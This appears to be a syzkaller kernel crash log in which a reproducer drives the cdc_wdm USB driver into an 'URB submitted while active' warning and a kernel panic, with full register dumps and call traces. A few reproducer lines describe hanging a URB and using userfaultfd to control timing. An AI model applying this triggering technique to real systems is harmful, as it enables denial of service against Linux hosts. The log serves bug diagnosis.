[ 68.158330][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.160284][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.162241][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.164229][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.166254][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.166449][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.166467][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.
[ 68.166728][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.168752][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.168773][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.170726][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.172666][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.174579][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.176843][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.179100][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.181031][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.182979][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.184939][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.186960][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.188929][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.190875][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.192816][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.194786][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.196785][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.198835][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.198872][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.200858][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.200889][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.202885][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.202916][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.204892][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.204910][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.206949][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.206978][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.209008][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.209038][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.211085][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.211115][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.213043][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.213072][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.215052][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.215068][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.217046][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.217077][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.219075][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.219105][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.221059][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.221088][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.223054][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.223082][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.225047][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.225076][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.227043][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.227072][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.229023][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.229052][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.231011][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.231040][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.232979][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.233008][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.235006][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.235034][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.236974][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.237003][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.238992][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.239021][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.240968][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.240998][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.242960][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.242992][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.244994][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.245024][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.247031][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.247061][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.249025][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.249056][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.251034][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.251065][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.253021][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.253053][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.255073][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.255102][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.257064][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.257095][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.259086][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.259118][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.261089][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.261121][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.263130][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.263160][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.265212][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.265242][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.267222][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.267251][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.269238][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.269268][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.271246][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.271276][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.273225][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[+] Resolving userfaultfd to finish read()...
[ 68.273255][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[+] Page fault resolved.
[ 68.275270][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.275298][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.277244][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.277274][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.279281][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.279313][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.281248][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.281277][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.283256][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.283286][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.285260][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.285289][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.287226][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.287255][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.289219][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.289249][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.291232][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.291261][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.293227][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.293258][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.295248][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.295278][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.297210][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.297238][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.299241][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.299272][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.301225][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.301254][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.303256][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.303286][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.305274][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.305303][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.307275][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.307305][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.309240][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.309270][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.311243][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.311272][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.313205][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.313234][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.315219][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.315248][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.317221][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.317251][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.318077][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.320073][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.321964][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.323891][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.325785][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.327750][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.329658][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.331594][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.333547][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.335606][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.337599][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.339593][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.341515][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.343472][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.345435][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.347435][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.349408][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.349443][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.351416][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.351447][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.353410][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.353442][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.355446][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.355475][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.357466][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.357496][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.359551][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.359583][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.359773][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.359790][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.362083][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.362117][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.362420][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.362437][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.364642][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.364663][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.366786][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.366818][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.368816][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.368847][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.370766][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.370796][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.372750][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.372779][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.374716][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.374734][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.374803][ T5853] ------------[ cut here ]------------
[ 68.374808][ T5853] URB ffff888113ca3c00 submitted while active
[ 68.374814][ T5853] WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x79/0x18b0, CPU#0: syz-executor370/5853
[ 68.376781][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.539967][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.542050][ T5853] Modules linked in:
[ 68.543500][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.545596][ T5853] CPU: 0 UID: 0 PID: 5853 Comm: syz-executor370 Not tainted syzkaller #1 PREEMPT(full)
[ 68.545621][ T33] kauditd_printk_skb: 13 callbacks suppressed
[ 68.545772][ T33] audit: type=1400 audit(1789170790.668:224): avc: denied { write } for pid=5887 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 68.558073][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.559981][ T5853] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 68.563377][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.565342][ T5853] RIP: 0010:usb_submit_urb+0x7c/0x18b0
[ 68.567241][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.569175][ T5853] Code: 4c 89 f0 48 c1 e8 03 80 3c 28 00 74 08 4c 89 f7 e8 d9 60 da fa 49 83 3e 00 74 40 e8 fe 0e 6b fa 48 8d 3d 37 bd 35 09 48 89 de <67> 48 0f b9 3a b8 f0 ff ff ff eb 11 e8 e3 0e 6b fa eb 05 e8 dc 0e
[ 68.575698][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.577606][ T5853] RSP: 0018:ffffc90003d3fa78 EFLAGS: 00010293
[ 68.579746][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.581687][ T5853] RAX: ffffffff875af432 RBX: ffff888113ca3c00 RCX: ffff888196764b00
[ 68.584544][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.586553][ T5853] RDX: 0000000000000000 RSI: ffff888113ca3c00 RDI: ffffffff9090b170
[ 68.589252][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.591179][ T5853] RBP: dffffc0000000000 R08: ffffffff90836c7f R09: 1ffffffff2106d8f
[ 68.593880][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.595842][ T5853] R10: dffffc0000000000 R11: fffffbfff2106d90 R12: dffffc0000000000
[ 68.598580][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.600471][ T5853] R13: ffff888115d552b8 R14: ffff888113ca3c08 R15: 0000000000000cc0
[ 68.603158][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.605130][ T5853] FS: 0000555570a60400(0000) GS:ffff8881a4c6f000(0000) knlGS:0000000000000000
[ 68.608123][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.610049][ T5853] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 68.612452][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.614382][ T5853] CR2: 00007f33f1b12000 CR3: 0000000103f65000 CR4: 0000000000352ef0
[ 68.617108][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.619051][ T5853] Call Trace:
[ 68.620248][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.622161][ T5853] <TASK>
[ 68.623230][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.625247][ T5853] ? _raw_spin_unlock_irq+0x23/0x50
[ 68.627130][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.629060][ T5853] service_outstanding_interrupt+0x155/0x2b0
[ 68.631138][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.633083][ T5853] ? wdm_read+0x831/0xaf0
[ 68.634623][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.636660][ T5853] wdm_read+0x86d/0xaf0
[ 68.638154][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.640105][ T5853] ? __pfx_anon_pipe_write+0x10/0x10
[ 68.641969][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.643925][ T5853] ? __pfx_wdm_read+0x10/0x10
[ 68.645600][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.647498][ T5853] ? __pfx_autoremove_wake_function+0x10/0x10
[ 68.649788][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.651713][ T5853] ? bpf_lsm_file_permission+0x9/0x20
[ 68.653598][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.655618][ T5853] ? security_file_permission+0x75/0x260
[ 68.657611][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.659512][ T5853] ? rw_verify_area+0x24a/0x4c0
[ 68.661210][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.663144][ T5853] ? __pfx_wdm_read+0x10/0x10
[ 68.664824][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.666952][ T5853] vfs_read+0x213/0xa80
[ 68.668410][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.670357][ T5853] ? __pfx_vfs_read+0x10/0x10
[ 68.672043][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.674047][ T5853] ? __fget_files+0x2a/0x420
[ 68.675729][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.677675][ T5853] ? __fget_files+0x2a/0x420
[ 68.679309][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.681185][ T5853] ? __fget_files+0x3a2/0x420
[ 68.682802][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.684690][ T5853] ? __fget_files+0x2a/0x420
[ 68.686333][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.688220][ T5853] ksys_read+0x150/0x270
[ 68.689722][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.691633][ T5853] ? __pfx_ksys_read+0x10/0x10
[ 68.693260][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.695225][ T5853] do_syscall_64+0x166/0x520
[ 68.696846][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.698751][ T5853] ? trace_irq_disable+0x3b/0x140
[ 68.700484][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.702352][ T5853] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 68.704422][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.706386][ T5853] ? clear_bhb_loop+0x70/0xc0
[ 68.708000][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.709871][ T5853] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 68.711869][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.713729][ T5853] RIP: 0033:0x7f33f2b711fe
[ 68.715315][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.717201][ T5853] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 68.723620][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.725574][ T5853] RSP: 002b:00007fff21170828 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 68.728394][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.730315][ T5853] RAX: ffffffffffffffda RBX: 0000555570a60400 RCX: 00007f33f2b711fe
[ 68.732985][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.734883][ T5853] RDX: 000000000000000a RSI: 00007f33f1b12000 RDI: 0000000000000004
[ 68.737602][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.739474][ T5853] RBP: 0000000000000005 R08: 0000000000000000 R09: 0000000000000000
[ 68.742151][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.744048][ T5853] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff211708e0
[ 68.746746][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.748622][ T5853] R13: 00007f33f1b12000 R14: 0000000000000005 R15: 00007fff211708c0
[ 68.751262][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.753174][ T5853] </TASK>
[ 68.754273][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.756201][ T5853] Kernel panic - not syncing: kernel: panic_on_warn set ...
[ 68.758648][ T5853] CPU: 0 UID: 0 PID: 5853 Comm: syz-executor370 Not tainted syzkaller #1 PREEMPT(full)
[ 68.761792][ T5853] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 68.765080][ T5853] Call Trace:
[ 68.766200][ T5853] <TASK>
[ 68.767189][ T5853] vpanic+0x56d/0xa60
[ 68.768566][ T5853] ? __pfx__printk+0x10/0x10
[ 68.770123][ T5853] ? __pfx_vpanic+0x10/0x10
[ 68.771653][ T5853] ? is_bpf_text_address+0x292/0x2b0
[ 68.773379][ T5853] ? is_bpf_text_address+0x26/0x2b0
[ 68.775113][ T5853] panic+0xc5/0xd0
[ 68.776368][ T5853] ? __pfx_panic+0x10/0x10
[ 68.777878][ T5853] __warn+0x315/0x4c0
[ 68.779222][ T5853] ? usb_submit_urb+0x79/0x18b0
[ 68.780861][ T5853] ? usb_submit_urb+0x79/0x18b0
[ 68.782483][ T5853] __report_bug+0x276/0x570
[ 68.784030][ T5853] ? usb_submit_urb+0x79/0x18b0
[ 68.785658][ T5853] ? __pfx___report_bug+0x10/0x10
[ 68.787312][ T5853] ? rcu_is_watching+0x16/0xb0
[ 68.788919][ T5853] ? __pfx___up_read+0x10/0x10
[ 68.790542][ T5853] report_bug_entry+0x19b/0x290
[ 68.792171][ T5853] ? usb_submit_urb+0x7c/0x18b0
[ 68.793794][ T5853] ? usb_submit_urb+0x81/0x18b0
[ 68.795432][ T5853] handle_bug+0xce/0x200
[ 68.796834][ T5853] exc_invalid_op+0x1a/0x50
[ 68.798378][ T5853] asm_exc_invalid_op+0x1a/0x20
[ 68.799993][ T5853] RIP: 0010:usb_submit_urb+0x7c/0x18b0
[ 68.801849][ T5853] Code: 4c 89 f0 48 c1 e8 03 80 3c 28 00 74 08 4c 89 f7 e8 d9 60 da fa 49 83 3e 00 74 40 e8 fe 0e 6b fa 48 8d 3d 37 bd 35 09 48 89 de <67> 48 0f b9 3a b8 f0 ff ff ff eb 11 e8 e3 0e 6b fa eb 05 e8 dc 0e
[ 68.808136][ T5853] RSP: 0018:ffffc90003d3fa78 EFLAGS: 00010293
[ 68.810146][ T5853] RAX: ffffffff875af432 RBX: ffff888113ca3c00 RCX: ffff888196764b00
[ 68.812729][ T5853] RDX: 0000000000000000 RSI: ffff888113ca3c00 RDI: ffffffff9090b170
[ 68.815367][ T5853] RBP: dffffc0000000000 R08: ffffffff90836c7f R09: 1ffffffff2106d8f
[ 68.818032][ T5853] R10: dffffc0000000000 R11: fffffbfff2106d90 R12: dffffc0000000000
[ 68.820674][ T5853] R13: ffff888115d552b8 R14: ffff888113ca3c08 R15: 0000000000000cc0
[ 68.823283][ T5853] ? usb_submit_urb+0x72/0x18b0
[ 68.824921][ T5853] ? usb_submit_urb+0x72/0x18b0
[ 68.826544][ T5853] ? _raw_spin_unlock_irq+0x23/0x50
[ 68.828278][ T5853] service_outstanding_interrupt+0x155/0x2b0
[ 68.830286][ T5853] ? wdm_read+0x831/0xaf0
[ 68.831742][ T5853] wdm_read+0x86d/0xaf0
[ 68.833176][ T5853] ? __pfx_anon_pipe_write+0x10/0x10
[ 68.834964][ T5853] ? __pfx_wdm_read+0x10/0x10
[ 68.836503][ T5853] ? __pfx_autoremove_wake_function+0x10/0x10
[ 68.838600][ T5853] ? bpf_lsm_file_permission+0x9/0x20
[ 68.840371][ T5853] ? security_file_permission+0x75/0x260
[ 68.842239][ T5853] ? rw_verify_area+0x24a/0x4c0
[ 68.843882][ T5853] ? __pfx_wdm_read+0x10/0x10
[ 68.845453][ T5853] vfs_read+0x213/0xa80
[ 68.846864][ T5853] ? __pfx_vfs_read+0x10/0x10
[ 68.848435][ T5853] ? __fget_files+0x2a/0x420
[ 68.849991][ T5853] ? __fget_files+0x2a/0x420
[ 68.851536][ T5853] ? __fget_files+0x3a2/0x420
[ 68.853127][ T5853] ? __fget_files+0x2a/0x420
[ 68.854704][ T5853] ksys_read+0x150/0x270
[ 68.856157][ T5853] ? __pfx_ksys_read+0x10/0x10
[ 68.857785][ T5853] do_syscall_64+0x166/0x520
[ 68.859378][ T5853] ? trace_irq_disable+0x3b/0x140
[ 68.861090][ T5853] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 68.863116][ T5853] ? clear_bhb_loop+0x70/0xc0
[ 68.864690][ T5853] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 68.866633][ T5853] RIP: 0033:0x7f33f2b711fe
[ 68.868128][ T5853] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 68.874564][ T5853] RSP: 002b:00007fff21170828 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 68.877297][ T5853] RAX: ffffffffffffffda RBX: 0000555570a60400 RCX: 00007f33f2b711fe
[ 68.879959][ T5853] RDX: 000000000000000a RSI: 00007f33f1b12000 RDI: 0000000000000004
[ 68.882637][ T5853] RBP: 0000000000000005 R08: 0000000000000000 R09: 0000000000000000
[ 68.885244][ T5853] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff211708e0
[ 68.887858][ T5853] R13: 00007f33f1b12000 R14: 0000000000000005 R15: 00007fff211708c0
[ 68.890477][ T5853] </TASK>
[ 68.892210][ T5853] Kernel Offset: disabled
[ 68.893666][ T5853] Rebooting in 86400 seconds..
OtherCrashReports:[------------[ cut here ]------------
URB ffff88818b9a9400 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x79/0x18b0 drivers/usb/core/urb.c:379, CPU#0: syz-executor178/5841
] StraceOutput: TestError:]
|
| 452/3 |
2026/09/11 23:53 |
action |
truncate-log |
0m
Results: map[TruncatedConsoleOutput:[ 68.355475][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.357466][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.357496][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.359551][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.359583][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.359773][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.359790][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
